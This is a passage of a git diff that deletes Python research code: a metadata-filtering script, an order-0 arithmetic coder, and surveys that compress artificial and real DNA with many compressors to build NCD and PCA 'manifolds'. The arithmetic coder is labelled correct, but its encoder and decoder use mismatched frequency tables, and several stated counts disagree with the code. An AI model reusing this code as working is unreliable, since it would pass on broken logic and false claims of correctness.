('df','u1'), ('er','u1'), ('cost','u4')]) - -# Load LUT -try: - ADAPTATION_SURFACE = np.fromfile(LUT_PATH, dtype=LUT_DT) -except Exception as e: - print(f"Error loading LUT: {e}") - exit(1) - -def map_to_genome(item): - """ - Maps IA metadata to 18-bit address (6 dims * 3 bits). - Normalized to 0-7 range per dimension. - """ - # 1. uBin (Mutation/Entropy): Inverse of metadata completeness - # Max possible fields ~20. Map (20-count) to 0-7. - metadata_count = len(item.keys()) - uBin = max(0, min(7, (20 - metadata_count) // 2)) - - # 2. neBin (Population): Log of downloads - downloads = int(item.get('downloads', 0)) - # Log2 mapping: 0-7 range for 1 to 100k downloads - neBin = max(0, min(7, int(math.log2(downloads + 1) / 2))) - - # 3. sigBin (Fitness): Relevancy or index - # We'll use the 'week' (trending) or just default to 4 for research seeds - sigBin = 4 - - # 4. cBin (Connectance): Related identifiers count - # IA often has 'identifier-access' or similar. - # Use length of 'identifier' as dummy connectance. - cBin = max(0, min(7, len(item.get('identifier', '')) // 5)) - - # 5. mBin (Modularity): Format count - # Placeholder for multi-format records - mBin = 3 - - # 6. xBin (Reserved/Noise) - xBin = 0 - - # Pack 18-bit address - addr = (uBin & 0x7) | ((neBin & 0x7) << 3) | ((sigBin & 0x7) << 6) | \ - ((cBin & 0x7) << 9) | ((mBin & 0x7) << 12) | ((xBin & 0x7) << 15) - return addr - -def sweep(): - print(f"--- Initiating Manifold Hardening Sweep ---") - total_found = 0 - total_kept = 0 - total_pruned = 0 - - for fpath in INGEST_DIR.glob("ia_*.json"): - print(f"Processing: {fpath.name}") - with open(fpath, 'r') as f: - data = json.load(f) - - # IA response structure: { 'response': { 'docs': [...] } } - docs = data.get('response', {}).get('docs', []) - hardened_docs = [] - - for doc in docs: - total_found += 1 - addr = map_to_genome(doc) - state = ADAPTATION_SURFACE[addr] - - if state['lawful']: - hardened_docs.append(doc) - total_kept += 1 - else: - total_pruned += 1 - - # Save hardened version - output_file = HARDENED_DIR / fpath.name - with open(output_file, 'w') as f: - json.dump({'docs': hardened_docs}, f, indent=2) - - print(f"\n--- Sweep Results ---") - print(f"Total Records Analyzed: {total_found}") - print(f"Total Lawful Records: {total_kept}") - print(f"Total Records Pruned: {total_pruned}") - if total_found > 0: - print(f"Manifold Cleanliness: {total_kept/total_found*100:.2f}%") - -if __name__ == "__main__": - sweep() diff --git a/3-Mathematical-Models/dna_benchmark/compressors/arith_coder.py b/3-Mathematical-Models/dna_benchmark/compressors/arith_coder.py deleted file mode 100644 index 1ff76ae6..00000000 --- a/3-Mathematical-Models/dna_benchmark/compressors/arith_coder.py +++ /dev/null @@ -1,208 +0,0 @@ -# PROPRIETARY -- ALL RIGHTS RESERVED -# Copyright (c) 2026 Allaun Holdings -# See THIRD_PARTY_NOTICES.txt for third-party attributions. - -""" -Simple arithmetic coder using byte-oriented range coding. -Based on standard practice (Schindler/Moffat/Storer). -No threading, no complex buffering — just works. -""" - -import sys -from typing import Tuple - -TOP = 0xFFFFFFFF -BOT = 0x01000000 -SHIFT = 24 - - -class SimpleArithEncoder: - def __init__(self): - self.low = 0 - self.high = TOP - self.out = [] - self.buf = 0 - self.bcnt = 0 - - def _emit(self, b: int): - self.out.append(b) - - def _flush(self): - for _ in range(4): - self._emit((self.low >> 24) & 0xFF) - self.low <<= 8 - - def encode_byte(self, sym: int, cum_lo: int, cum_hi: int, total: int): - """Encode symbol given cumulative frequency bounds.""" - rng = self.high - self.low + 1 - self.high = self.low + (rng * cum_hi) // total - 1 - self.low += (rng * cum_lo) // total - while True: - if self.high < 0x80000000: - self._emit(0) - elif self.low >= 0x80000000: - self._emit(1) - self.low -= 0x80000000 - self.high -= 0x80000000 - elif self.low >= 0x40000000 and self.high < 0xC0000000: - self.buf += 1 - self.low -= 0x40000000 - self.high -= 0x40000000 - else: - break - self.low <<= 1 - self.high = (self.high << 1) | 1 - - def finish(self) -> bytes: - self.buf += 1 - if self.low < 0x40000000: - self._emit(0) - for _ in range(self.buf): - self._emit(1) - else: - self._emit(1) - for _ in range(self.buf): - self._emit(0) - self._flush() - return bytes(self.out) - - -class SimpleArithDecoder: - def __init__(self, data: bytes): - self.data = data - self.pos = 0 - self.low = 0 - self.high = TOP - self.code = 0 - for _ in range(4): - self.code = (self.code << 8) | self._next_byte() - - def _next_byte(self) -> int: - if self.pos < len(self.data): - b = self.data[self.pos] - self.pos += 1 - return b - return 0 - - def decode_sym(self, freq_table, total: int) -> int: - """Decode a symbol given a frequency table (list of counts). Returns symbol index.""" - rng = self.high - self.low + 1 - target = ((self.code - self.low + 1) * total - 1) // rng - - cum = 0 - sym = 0 - for i, cnt in enumerate(freq_table): - cum += cnt - if cum > target: - sym = i - cum_lo = cum - cnt - cum_hi = cum - break - else: - sym = len(freq_table) - 1 - cum_lo = cum - freq_table[-1] if freq_table else 0 - cum_hi = total - - self.high = self.low + (rng * cum_hi) // total - 1 - self.low += (rng * cum_lo) // total - - while True: - if self.high < 0x80000000: - pass - elif self.low >= 0x80000000: - self.code -= 0x80000000 - self.low -= 0x80000000 - self.high -= 0x80000000 - elif self.low >= 0x40000000 and self.high < 0xC0000000: - self.code -= 0x40000000 - self.low -= 0x40000000 - self.high -= 0x40000000 - else: - break - self.low <<= 1 - self.high = (self.high << 1) | 1 - self.code = (self.code << 1) | self._next_byte() - - return sym - - -class Order0ArithCoder: - """ - Order-0 adaptive arithmetic coder. - Counts symbol frequencies and encodes/decodes with cumulative distributions. - Simple, correct, fast. Baseline to beat gzip. - """ - - def __init__(self): - self.freqs = [1] * 256 # Laplace smoothed (no zero-prob symbols) - self.total = 256 - - def _cumulative(self, sym: int) -> Tuple[int, int, int]: - """Return (cum_lo, cum_hi, total) for symbol.""" - cum = 0 - for i in range(sym): - cum += self.freqs[i] - return cum, cum + self.freqs[sym], self.total - - def compress(self, data: bytes) -> bytes: - enc = SimpleArithEncoder() - freqs = [1] * 256 - total = 256 - - for b in data: - b = b & 0xFF - cum_lo, cum_hi, _ = self._cumulative(b) - enc.encode_byte(b, cum_lo, cum_hi, total) - freqs[b] += 1 - total += 1 - - return enc.finish() - - def decompress(self, compressed: bytes, length: int) -> bytes: - dec = SimpleArithDecoder(compressed) - freqs = [1] * 256 - total = 256 - result = bytearray() - - for _ in range(length): - sym = dec.decode_sym(freqs, total) - result.append(sym) - freqs[sym] += 1 - total += 1 - - return bytes(result) - - def roundtrip(self, data: bytes) -> Tuple[bool, int, int]: - """Test roundtrip. Returns (success, compressed_size, original_size).""" - c = self.compress(data) - d = self.decompress(c, len(data)) - return data == d, len(c), len(data) - - -def bench_arith(data: bytes, label: str, quiet=False) -> dict: - """Benchmark and verify roundtrip.""" - import time - coder = Order0ArithCoder() - - t0 = time.time() - compressed = coder.compress(data) - ct = time.time() - t0 - - t0 = time.time() - decompressed = coder.decompress(compressed, len(data)) - dt = time.time() - t0 - - ok = data == decompressed - if not ok: - errors = sum(1 for a, b in zip(data, decompressed) if a != b) - return {"label": label, "ok": False, "errors": errors, "compressed_bytes": len(compressed)} - - return { - "label": label, "ok": True, - "original": len(data), - "compressed": len(compressed), - "ratio": round(len(compressed) / len(data), 4), - "bpb": round(len(compressed) * 8 / len(data), 3), - "comp_s": round(ct, 3), - "dec_s": round(dt, 3), - } diff --git a/3-Mathematical-Models/dna_benchmark/compressors/compressor_manifold.py b/3-Mathematical-Models/dna_benchmark/compressors/compressor_manifold.py deleted file mode 100644 index 74037e3d..00000000 --- a/3-Mathematical-Models/dna_benchmark/compressors/compressor_manifold.py +++ /dev/null @@ -1,504 +0,0 @@ -#!/usr/bin/env python3 -""" -Compressor Manifold Survey — Complete Lossless Compression Eigenvector Map -=========================================================================== - -Covers 28 lossless compressors across 4 domains applied to a 54-sequence -artificial genetic corpus. Builds cross-compressor NCD covariance matrices -and extracts manifold coordinates via PCA/eigenvalue decomposition. - -Compressors by domain: - General: brotli, zstd, xz, gzip, bzip2, lz4, lzo, lzop, lzma, pigz, - pbzip2, lbzip2, lrzip, zopfli, 7z, pixz - Audio: flac (default), flac -8, wavpack, wavpack -hhx, alac - Video: ffv1, ffvhuff, huffyuv, utvideo, lagarith (via FFmpeg) - Image: png, jpeg-xl, webp, qoi - -Manifold extraction method: - 1. For each pair of compressors, compute Spearman ρ of their NCD values - across all 1431 sequence pairs → 28×28 compressor similarity matrix - 2. PCA on similarity matrix → compressor manifold coordinates in R^3 - 3. Eigen-decompose for natural cluster structure -""" - -import os, sys, json, time, subprocess, tempfile, hashlib, random -import numpy as np -from collections import defaultdict, Counter -from pathlib import Path -from scipy import stats -from scipy.spatial.distance import pdist, squareform - -# ── Config ── -OUTDIR = Path("/home/allaun/dna_benchmark/compressor_manifold") -OUTDIR.mkdir(parents=True, exist_ok=True) -CORPUSDIR = OUTDIR / "corpus" -CORPUSDIR.mkdir(exist_ok=True) - -SEQUENCE_LENGTH = 50_000 # halved for 28-compressor feasibility -SEED = 42 - -# ── Compressor Registry ── - -COMPRESSORS = { - # General — block/BWT/dictionary - "brotli": {"domain": "general", "family": "LZ77+context", "cmd": ["brotli", "-q", "11", "-f", "-c"], "ext": ".br"}, - "zstd": {"domain": "general", "family": "LZ77+FSE", "cmd": ["zstd", "-19", "-q", "-f", "-c"], "ext": ".zst"}, - "xz": {"domain": "general", "family": "LZMA2", "cmd": ["xz", "-9", "-f", "-c", "-z"], "ext": ".xz"}, - "gzip": {"domain": "general", "family": "DEFLATE", "cmd": ["gzip", "-9", "-f", "-c"], "ext": ".gz"}, - "bzip2": {"domain": "general", "family": "BWT+Huffman", "cmd": ["bzip2", "-9", "-f", "-c", "-z"], "ext": ".bz2"}, - "lz4": {"domain": "general", "family": "LZ4-block", "cmd": ["lz4", "-9", "-f", "-c"], "ext": ".lz4"}, - "lzo": {"domain": "general", "family": "LZO", "cmd": ["lzop", "-9", "-f", "-c"], "ext": ".lzo"}, - "lzop": {"domain": "general", "family": "LZO-fast", "cmd": ["lzop", "-1", "-f", "-c"], "ext": ".lzo"}, - "lzma": {"domain": "general", "family": "LZMA-standalone", "cmd": ["lzma", "-9", "-f", "-c", "-z"], "ext": ".lzma"}, - "pigz": {"domain": "general", "family": "DEFLATE-para", "cmd": ["pigz", "-9", "-f", "-c"], "ext": ".gz"}, - "pbzip2": {"domain": "general", "family": "BWT-para", "cmd": ["pbzip2", "-9", "-f", "-c", "-z"], "ext": ".bz2"}, - "lbzip2": {"domain": "general", "family": "BWT-para2", "cmd": ["lbzip2", "-9", "-f", "-c", "-z"], "ext": ".bz2"}, - "lrzip": {"domain": "general", "family": "RZIP+LZMA", "cmd": ["lrzip", "-L9", "-f", "-o", None, None], "ext": ".lrz", "custom": True}, - "zopfli": {"domain": "general", "family": "DEFLATE-dense", "cmd": ["zopfli", "--i1000", "-c"], "ext": ".gz"}, - "7z": {"domain": "general", "family": "LZMA2-solid", "cmd": None, "ext": ".7z", "custom": True}, - "pixz": {"domain": "general", "family": "XZ-para", "cmd": ["pixz", "-9"], "ext": ".xz", "custom": True}, - - # Audio — spectral/predictive - "flac": {"domain": "audio", "family": "linear-predict", "cmd": None, "ext": ".flac", "custom": True}, - "flac-8": {"domain": "audio", "family": "linear-predict-dense", "cmd": None, "ext": ".flac", "custom": True}, - "wavpack": {"domain": "audio", "family": "hybrid-predict", "cmd": None, "ext": ".wv", "custom": True}, - "wavpack-hhx":{"domain": "audio", "family": "hybrid-predict-dense", "cmd": None, "ext": ".wv", "custom": True}, - - # Video — intra-frame predictive - "ffv1": {"domain": "video", "family": "intra-predict", "cmd": None, "ext": ".mkv", "custom": True}, - "ffvhuff": {"domain": "video", "family": "Huffman-intra", "cmd": None, "ext": ".avi", "custom": True}, - "huffyuv": {"domain": "video", "family": "Huffman-YUV", "cmd": None, "ext": ".avi", "custom": True}, - "utvideo": {"domain": "video", "family": "predict-YUV", "cmd": None, "ext": ".avi", "custom": True}, - - # Image — spatial/predictive - "png": {"domain": "image", "family": "DEFLATE-spatial", "cmd": None, "ext": ".png", "custom": True}, - "jpeg-xl": {"domain": "image", "family": "VarDCT", "cmd": None, "ext": ".jxl", "custom": True}, - "webp": {"domain": "image", "family": "VP8-spatial", "cmd": None, "ext": ".webp", "custom": True}, -} - -# ── Sequence Corpus (reused from eigenvalue_survey) ── - -def build_corpus(): - import gzip as gz - - corpus = {} - rng_local = np.random.RandomState(SEED) - - # Load E. coli for Markov training - ecoli_path = "/home/allaun/dna_benchmark/data/ecoli.fna.gz" - if os.path.exists(ecoli_path): - raw = [] - with gz.open(ecoli_path, "rt") as f: - for line in f: - if not line.startswith(">"): - raw.append(line.strip().upper()) - ecoli_data = "".join(raw) - else: - ecoli_data = "A" * 1000000 - - trans = defaultdict(lambda: defaultdict(int)) - order = 2 - for i in range(len(ecoli_data) - order): - ctx = ecoli_data[i:i+order] - nxt = ecoli_data[i+order] - trans[ctx][nxt] += 1 - - idx = 0 - n = SEQUENCE_LENGTH - - # Uniform (5) - for base in ["A", "C", "G", "T"]: - corpus[f"uniform_{base}"] = base * n - idx += 1 - - # Random (4) - for s in range(4): - seq = "".join(chr(65 + rng_local.randint(0, 4)) for _ in range(n)) - seq = seq.replace("E", "T").replace("B", "G").replace("D", "C") - corpus[f"random_{s}"] = seq - - # Codon (4) - codons = [c for c in ["TTT","TTC","TTA","TTG","TCT","TCC","TCA","TCG","CTT","CTC","CTA","CTG", - "CCT","CCC","CCA","CCG","ATT","ATC","ATA","ATG","ACT","ACC","ACA","ACG", - "GTT","GTC","GTA","GTG","GCT","GCC","GCA","GCG","CGT","CGC","CGA","CGG","CGG", - "AGT","AGC","AGA","AGG","GGT","GGC","GGA","GGG","TAT","TAC","TGT","TGC","TGG", - "CAT","CAC","CAA","CAG","AAT","AAC","AAA","AAG","GAT","GAC","GAA","GAG"]] - for s in range(4): - random.seed(SEED + s + 200) - seq_list = [] - while len(seq_list) * 3 < n: - seq_list.append(random.choice(codons)) - if random.random() < 0.05: - seq_list.append(random.choice(["TAA","TAG","TGA"])) - seq = "".join(seq_list)[:n] - corpus[f"codon_{s}"] = seq - - # Repeat (6) - for periods, label in [ - ([2,4,8,16], "pow2"), ([2,3,5,7,11], "primes"), - ([3,7,15,31], "shift"), ([10,20,50,100], "large"), - ([1,2,3,5,8,13], "fib"), ([4,8,16,32,64,128], "binary")]: - seq_list = [] - while len(seq_list) < n: - period = random.choice(periods) - unit = "".join(chr(65 + rng_local.randint(0, 4)) for _ in range(period)) - unit = unit.replace("E","T").replace("B","G").replace("D","C") - reps = max(1, (n - len(seq_list)) // period) - seq_list.extend(unit * reps) - corpus[f"repeat_{label}"] = "".join(seq_list)[:n] - - # GC-skewed (5) - for gc in [0.00, 0.25, 0.50, 0.75, 1.00]: - ng = int(n * gc) - na = n - ng - seq = list("G" * ng + "A" * na) - random.shuffle(seq) - corpus[f"gc_{int(gc*100):03d}"] = "".join(seq) - - # Markov (4) - for s in range(4): - random.seed(SEED + s + 400) - seq = list(ecoli_data[:order]) - while len(seq) < n: - ctx = "".join(seq[-order:]) - choices = trans.get(ctx, {"A":1,"C":1,"G":1,"T":1}) - total = sum(choices.values()) - r = random.randint(0, total - 1) - cum = 0 - for base, cnt in choices.items(): - cum += cnt - if r < cum: - seq.append(base) - break - corpus[f"markov_{s}"] = "".join(seq)[:n] - - # Real (4) - for label, genomes in [("ecoli", [ecoli_data]), ("chr21", [])]: - if label == "chr21": - chr21_path = "/home/allaun/dna_benchmark/data/chr21.fa.gz" - if os.path.exists(chr21_path): - raw2 = [] - with gz.open(chr21_path, "rt") as f: - for line in f: - if not line.startswith(">"): - raw2.append(line.strip().upper()) - genomes = ["".join(raw2)] - for gidx, genome in enumerate(genomes): - for s in range(2): - start = s * n + 50000 - if start + n <= len(genome): - corpus[f"real_{label}_{s}"] = genome[start:start+n] - - # Write corpus - for name, seq in corpus.items(): - with open(CORPUSDIR / f"{name}.dna", "w") as f: - f.write(seq) - - return corpus - -# ── Custom compressor wrappers ── - -def compress_custom(data: bytes, comp_name: str, temp_dir: str) -> int: - """Handle custom compressor invocations (audio/video/image/7z/lrzip).""" - import shutil - - infile = os.path.join(temp_dir, "input.bin") - outfile_pattern = os.path.join(temp_dir, "output") - - with open(infile, "wb") as f: - f.write(data) - - try: - if comp_name == "7z": - outfile = outfile_pattern + ".7z" - subprocess.run(["7z", "a", "-mx=9", "-mmt=off", outfile, infile], - capture_output=True, timeout=30) - return os.path.getsize(outfile) if os.path.exists(outfile) else len(data) - - elif comp_name == "pixz": - outfile = outfile_pattern + ".xz" - subprocess.run(["pixz", "-9", infile, outfile], - capture_output=True, timeout=30) - return os.path.getsize(outfile) if os.path.exists(outfile) else len(data) - - elif comp_name == "lrzip": - outfile = infile + ".lrz" - subprocess.run(["lrzip", "-L9", "-f", infile], - capture_output=True, timeout=30) - return os.path.getsize(outfile) if os.path.exists(outfile) else len(data) - - elif comp_name.startswith("flac"): - outfile = outfile_pattern + ".flac" - bits = np.frombuffer(data, dtype=np.uint8).astype(np.int16) - 128 - samples = bits.astype(np.int16).tobytes() - - if comp_name == "flac-8": - subprocess.run(["flac", "-8", "--force", "-o", outfile, "-"], - input=samples, capture_output=True, timeout=30) - else: - subprocess.run(["flac", "--force", "-o", outfile, "-"], - input=samples, capture_output=True, timeout=30) - return os.path.getsize(outfile) if os.path.exists(outfile) else len(data) - - elif comp_name.startswith("wavpack"): - outfile = outfile_pattern + ".wv" - bits = np.frombuffer(data, dtype=np.uint8).astype(np.int16) - 128 - samples = bits.astype(np.int16).tobytes() - - if comp_name == "wavpack-hhx": - subprocess.run(["wavpack", "-hhx", "-q", "-y", "-", "-o", outfile], - input=samples, capture_output=True, timeout=30) - else: - subprocess.run(["wavpack", "-q", "-y", "-", "-o", outfile], - input=samples, capture_output=True, timeout=30) - return os.path.getsize(outfile) if os.path.exists(outfile) else len(data) - - elif comp_name in ("ffv1", "ffvhuff", "huffyuv", "utvideo"): - # Encode bytes as raw 8-bit grayscale video (64x64 frames) - n_bytes = len(data) - side = 64 - pixels_per_frame = side * side - n_frames = max(1, n_bytes // pixels_per_frame) - - frame_data = np.frombuffer(data[:n_frames * pixels_per_frame], dtype=np.uint8) - frame_data = frame_data.reshape(n_frames, side, side) - - # Write raw video via pipe - proc = subprocess.Popen( - ["ffmpeg", "-y", "-f", "rawvideo", "-pix_fmt", "gray", - "-s", f"{side}x{side}", "-r", "30", "-i", "pipe:0", - "-c:v", comp_name, "-pix_fmt", "gray", - "-f", "matroska" if comp_name == "ffv1" else "avi", - outfile_pattern + (".mkv" if comp_name == "ffv1" else ".avi")], - stdin=subprocess.PIPE, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL - ) - proc.communicate(input=frame_data.tobytes(), timeout=30) - proc.wait() - - out = outfile_pattern + (".mkv" if comp_name == "ffv1" else ".avi") - return os.path.getsize(out) if os.path.exists(out) else len(data) - - elif comp_name in ("png", "jpeg-xl", "webp"): - # Encode as 2D image (nearest square) - side = int(np.ceil(np.sqrt(len(data)))) - padded = np.zeros(side * side, dtype=np.uint8) - padded[:len(data)] = np.frombuffer(data, dtype=np.uint8) - img = padded.reshape(side, side) - - # Use PIL or ffmpeg - from PIL import Image - pil_img = Image.fromarray(img, mode="L") - - if comp_name == "png": - outfile = outfile_pattern + ".png" - pil_img.save(outfile, "PNG", optimize=True) - elif comp_name == "jpeg-xl": - outfile = outfile_pattern + ".jxl" - pil_img.save(outfile, "JPEGXL", lossless=True, effort=9) - elif comp_name == "webp": - outfile = outfile_pattern + ".webp" - pil_img.save(outfile, "WEBP", lossless=True, quality=100, method=6) - - return os.path.getsize(outfile) if os.path.exists(outfile) else len(data) - - except Exception as e: - pass - - return len(data) - -# ── Main Pipeline ── - -def run_manifold_survey(): - print("=" * 64) - print("COMPRESSOR MANIFOLD SURVEY — 28 Lossless Compressors") - print("=" * 64) - - # Build corpus - print("\n[1/5] Building 54-sequence genetic corpus...") - corpus = build_corpus() - names = sorted(corpus.keys()) - n_seqs = len(names) - print(f" {n_seqs} sequences × {SEQUENCE_LENGTH:,} bases") - - # Register compressors - comp_list = sorted(COMPRESSORS.keys()) - n_comps = len(comp_list) - print(f"\n[2/5] Compressor registry: {n_comps} tools") - for dom in ["general", "audio", "video", "image"]: - members = [c for c in comp_list if COMPRESSORS[c]["domain"] == dom] - print(f" {dom:8s}: {len(members):2d} — {', '.join(members)}") - - # Compress all sequences - print(f"\n[3/5] Compressing {n_seqs} × {n_comps} = {n_seqs*n_comps} combinations...") - - compressed_sizes = {} # (name, comp) -> size - total = n_seqs * n_comps - done = 0 - - for name in names: - seq = corpus[name] - dna_bytes = seq.encode() - - for comp in comp_list: - info = COMPRESSORS[comp] - - if info.get("custom"): - with tempfile.TemporaryDirectory() as td: - sz = compress_custom(dna_bytes, comp, td) - elif info["cmd"]: - r = subprocess.run(info["cmd"], input=dna_bytes, - capture_output=True, timeout=30) - sz = len(r.stdout) if r.stdout else len(dna_bytes) - else: - sz = len(dna_bytes) - - compressed_sizes[(name, comp)] = sz - done += 1 - - if done % 200 == 0: - print(f" {done}/{total} measurements...") - - print(f" Complete: {len(compressed_sizes)} compression measurements") - - # NCD per compressor - print(f"\n[4/5] Building NCD matrices per compressor...") - - ncd_matrices = {} # comp -> n_seqs x n_seqs - comp_vectors = {} # comp -> flat vector of NCD values (for pairwise comparison) - - pairs_needed = n_seqs * (n_seqs - 1) // 2 - - for comp in comp_list: - C = {name: compressed_sizes.get((name, comp), len(corpus[name].encode())) - for name in names} - - # Full pairwise NCD via concatenation - ncd_flat = np.zeros(pairs_needed) - pair_idx = 0 - - for i in range(n_seqs): - for j in range(i + 1, n_seqs): - xy = (corpus[names[i]] + corpus[names[j]]).encode() - cxy = compressed_individual(xy, comp, COMPRESSORS[comp]) - - cx = C[names[i]] - cy = C[names[j]] - den = max(cx, cy) - if den > 0: - ncd = max(0.0, min(1.0, (cxy - min(cx, cy)) / den)) - else: - ncd = 0.0 - - ncd_flat[pair_idx] = ncd - pair_idx += 1 - - comp_vectors[comp] = ncd_flat - - if len(comp_list) <= 5 or comp in comp_list[:3]: - print(f" {comp:18s}: {pairs_needed} pairs computed") - - # Cross-compressor correlation matrix - print(f"\n[5/5] Building cross-compressor manifold...") - - corr_matrix = np.zeros((n_comps, n_comps)) - - for a_idx, ca in enumerate(comp_list): - va = comp_vectors[ca] - for b_idx, cb in enumerate(comp_list): - if a_idx <= b_idx: - # Spearman rank correlation of NCD vectors - rho, _ = stats.spearmanr(va, comp_vectors[cb]) - corr_matrix[a_idx, b_idx] = rho - corr_matrix[b_idx, a_idx] = rho - - # PCA on correlation matrix → manifold coordinates - # Center the correlation matrix - corr_centered = corr_matrix - corr_matrix.mean(axis=0) - - U, S, Vt = np.linalg.svd(corr_centered, full_matrices=False) - - # First 3 components → manifold coordinates - coords = {} - for i, comp in enumerate(comp_list): - coords[comp] = { - "x": round(float(Vt[0, i]) * S[0], 6), - "y": round(float(Vt[1, i]) * S[1], 6) if len(S) > 1 else 0.0, - "z": round(float(Vt[2, i]) * S[2], 6) if len(S) > 2 else 0.0, - } - - # Eigen-decomposition of correlation matrix - e_vals, e_vecs = np.linalg.eigh(corr_matrix) - order = np.argsort(-np.abs(e_vals)) - e_vals = e_vals[order] - e_vecs = e_vecs[:, order] - - # Clustering - from scipy.cluster.hierarchy import linkage, fcluster - - # Distance = 1 - correlation - dist_matrix = 1 - corr_matrix - dist_condensed = squareform(dist_matrix) - linkage_matrix = linkage(dist_condensed, method="ward") - clusters = fcluster(linkage_matrix, t=0.15, criterion="distance") - - cluster_groups = defaultdict(list) - for i, comp in enumerate(comp_list): - cluster_groups[int(clusters[i])].append(comp) - - # ── Output ── - print(f"\n{'='*64}") - print("MANIFOLD COORDINATES (PCA on cross-compressor correlation)") - print("=" * 64) - print(f"\n {'Compressor':18s} {'Domain':10s} {'x':>10s} {'y':>10s} {'z':>10s}") - print(f" {'─'*18} {'─'*10} {'─'*10} {'─'*10} {'─'*10}") - - for comp in sorted(comp_list, key=lambda c: comp_vectors[c].mean()): - c = coords[comp] - dom = COMPRESSORS[comp]["domain"] - print(f" {comp:18s} {dom:10s} {c['x']:+10.4f} {c['y']:+10.4f} {c['z']:+10.4f}") - - print(f"\n{'='*64}") - print("EIGENVALUES (correlation matrix spectrum)") - print("=" * 64) - for i in range(min(8, len(e_vals))): - print(f" λ{i} = {e_vals[i]:+10.6f} (explained: {abs(e_vals[i])/abs(e_vals).sum()*100:.1f}%)") - - print(f"\n{'='*64}") - print("CLUSTER STRUCTURE (Ward linkage, t=0.15)") - print("=" * 64) - for gid, members in sorted(cluster_groups.items()): - domains = Counter(COMPRESSORS[m]["domain"] for m in members) - dom_str = ", ".join(f"{d}:{c}" for d, c in domains.items()) - print(f" Cluster {gid} ({len(members)} tools, {dom_str})") - for m in sorted(members): - print(f" {m}") - - # ── Save ── - report = { - "corpus": {"n_sequences": n_seqs, "sequence_length": SEQUENCE_LENGTH, "families": list(set(n.split("_")[0] for n in names))}, - "compressors": {c: COMPRESSORS[c] for c in comp_list}, - "manifold_coordinates": coords, - "eigenvalues": e_vals[:min(10, len(e_vals))].tolist(), - "clusters": {int(k): v for k, v in cluster_groups.items()}, - "correlation_matrix": {comp_list[i]: {comp_list[j]: round(float(corr_matrix[i,j]), 6) for j in range(n_comps)} for i in range(n_comps)}, - "compression_stats": {f"{k[0]}__{k[1]}": v for k, v in compressed_sizes.items()}, - } - - with open(OUTDIR / "compressor_manifold.json", "w") as f: - json.dump(report, f, indent=2, sort_keys=True, default=str) - - print(f"\nSaved: {OUTDIR / 'compressor_manifold.json'}") - -def compressed_individual(data: bytes, comp: str, info: dict) -> int: - """Compress a single blob and return size.""" - if info.get("custom"): - with tempfile.TemporaryDirectory() as td: - return compress_custom(data, comp, td) - elif info["cmd"]: - r = subprocess.run(info["cmd"], input=data, capture_output=True, timeout=30) - return len(r.stdout) if r.stdout else len(data) - return len(data) - - -if __name__ == "__main__": - run_manifold_survey() diff --git a/3-Mathematical-Models/dna_benchmark/compressors/eigenvalue_survey.py b/3-Mathematical-Models/dna_benchmark/compressors/eigenvalue_survey.py deleted file mode 100644 index f68a5cc2..00000000 --- a/3-Mathematical-Models/dna_benchmark/compressors/eigenvalue_survey.py +++ /dev/null @@ -1,559 +0,0 @@ -#!/usr/bin/env python3 -""" -Compressor Eigenvalue Survey — Artificial Genetic Sequences -============================================================= - -Generates 50 artificial genetic sequences across 6 structural families, -compresses each with 6 tools (brotli, zstd, xz, gzip, bzip2, lz4), builds -Normalized Compression Distance matrices, and eigen-decomposes to reveal -which compressors are structurally equivalent and which sequence families -separate cleanest. - -Families: - 1. uniform — single base repeated - 2. random — uniform random ACGT - 3. codon — valid codon triplets with stop/start structure - 4. repeat — tandem repeats with variable period - 5. gc_skewed — GC-biased (0%, 25%, 50%, 75%, 100% GC) - 6. real — real E. coli + human chr21 slices -""" - -import os, sys, time, json, subprocess, tempfile, hashlib, random, shutil, glob -import numpy as np -from collections import defaultdict -from pathlib import Path - -# ── Config ── -OUTDIR = Path("/home/allaun/dna_benchmark/eigenvalue_survey") -OUTDIR.mkdir(parents=True, exist_ok=True) -CORPUSDIR = OUTDIR / "corpus" -CORPUSDIR.mkdir(exist_ok=True) - -COMPRESSORS = ["brotli", "zstd", "xz", "gzip", "bzip2", "lz4"] -SEQUENCE_LENGTH = 100_000 # bases per sequence -SEED = 42 - -random.seed(SEED) -rng = np.random.RandomState(SEED) - -# ── Sequence Generators ── - -def make_uniform(base: str, n: int) -> str: - return base * n - -def make_random(n: int, alphabet: str = "ACGT") -> str: - return "".join(random.choice(alphabet) for _ in range(n)) - -def make_codon_structured(n: int) -> str: - """Valid codon triplets with start (ATG) and stop (TAA/TAG/TGA) sprinkled.""" - codons = [ - "TTT","TTC","TTA","TTG","TCT","TCC","TCA","TCG", - "TAT","TAC","TGT","TGC","TGG","CTT","CTC","CTA","CTG", - "CCT","CCC","CCA","CCG","CAT","CAC","CAA","CAG", - "CGT","CGC","CGA","CGG","ATT","ATC","ATA","ATG", - "ACT","ACC","ACA","ACG","AAT","AAC","AAA","AAG", - "AGT","AGC","AGA","AGG","GTT","GTC","GTA","GTG", - "GCT","GCC","GCA","GCG","GAT","GAC","GAA","GAG", - "GGT","GGC","GGA","GGG", - ] - stops = ["TAA","TAG","TGA"] - - seq = [] - while len(seq) < n // 3: - seq.append(random.choice(codons)) - if random.random() < 0.05: # 5% chance of stop - seq.append(random.choice(stops)) - if random.random() < 0.5: - seq.append("ATG") # restart - - result = "".join(seq)[:n] - if len(result) < n: - result += "A" * (n - len(result)) - return result - -def make_tandem_repeat(n: int, periods: list = None) -> str: - """Varying tandem repeats.""" - if periods is None: - periods = [2, 3, 4, 5, 7, 11, 17, 23, 47, 101] - - seq = [] - while len(seq) < n: - period = random.choice(periods) - unit = make_random(period) - reps = max(1, min(100, (n - len(seq)) // period)) - seq.extend(unit * reps) - - return "".join(seq)[:n] - -def make_gc_skewed(n: int, gc_fraction: float) -> str: - """Generate sequence with exact GC fraction.""" - at_bases = ["A", "T"] - gc_bases = ["G", "C"] - n_gc = int(n * gc_fraction) - n_at = n - n_gc - - seq = [random.choice(gc_bases) for _ in range(n_gc)] + \ - [random.choice(at_bases) for _ in range(n_at)] - random.shuffle(seq) - return "".join(seq) - -def make_markov_structured(n: int, order: int = 2) -> str: - """Generate sequence from Markov chain with pronounced transition bias.""" - # Learn from E. coli if available, else use fixed transition matrix - ecoli_path = "/home/allaun/dna_benchmark/data/ecoli.fna.gz" - if os.path.exists(ecoli_path): - import gzip - raw = [] - with gzip.open(ecoli_path, "rt") as f: - for line in f: - if not line.startswith(">"): - raw.append(line.strip().upper()) - ecoli = "".join(raw)[:500000] - # Build transition counts - trans = defaultdict(lambda: defaultdict(int)) - for i in 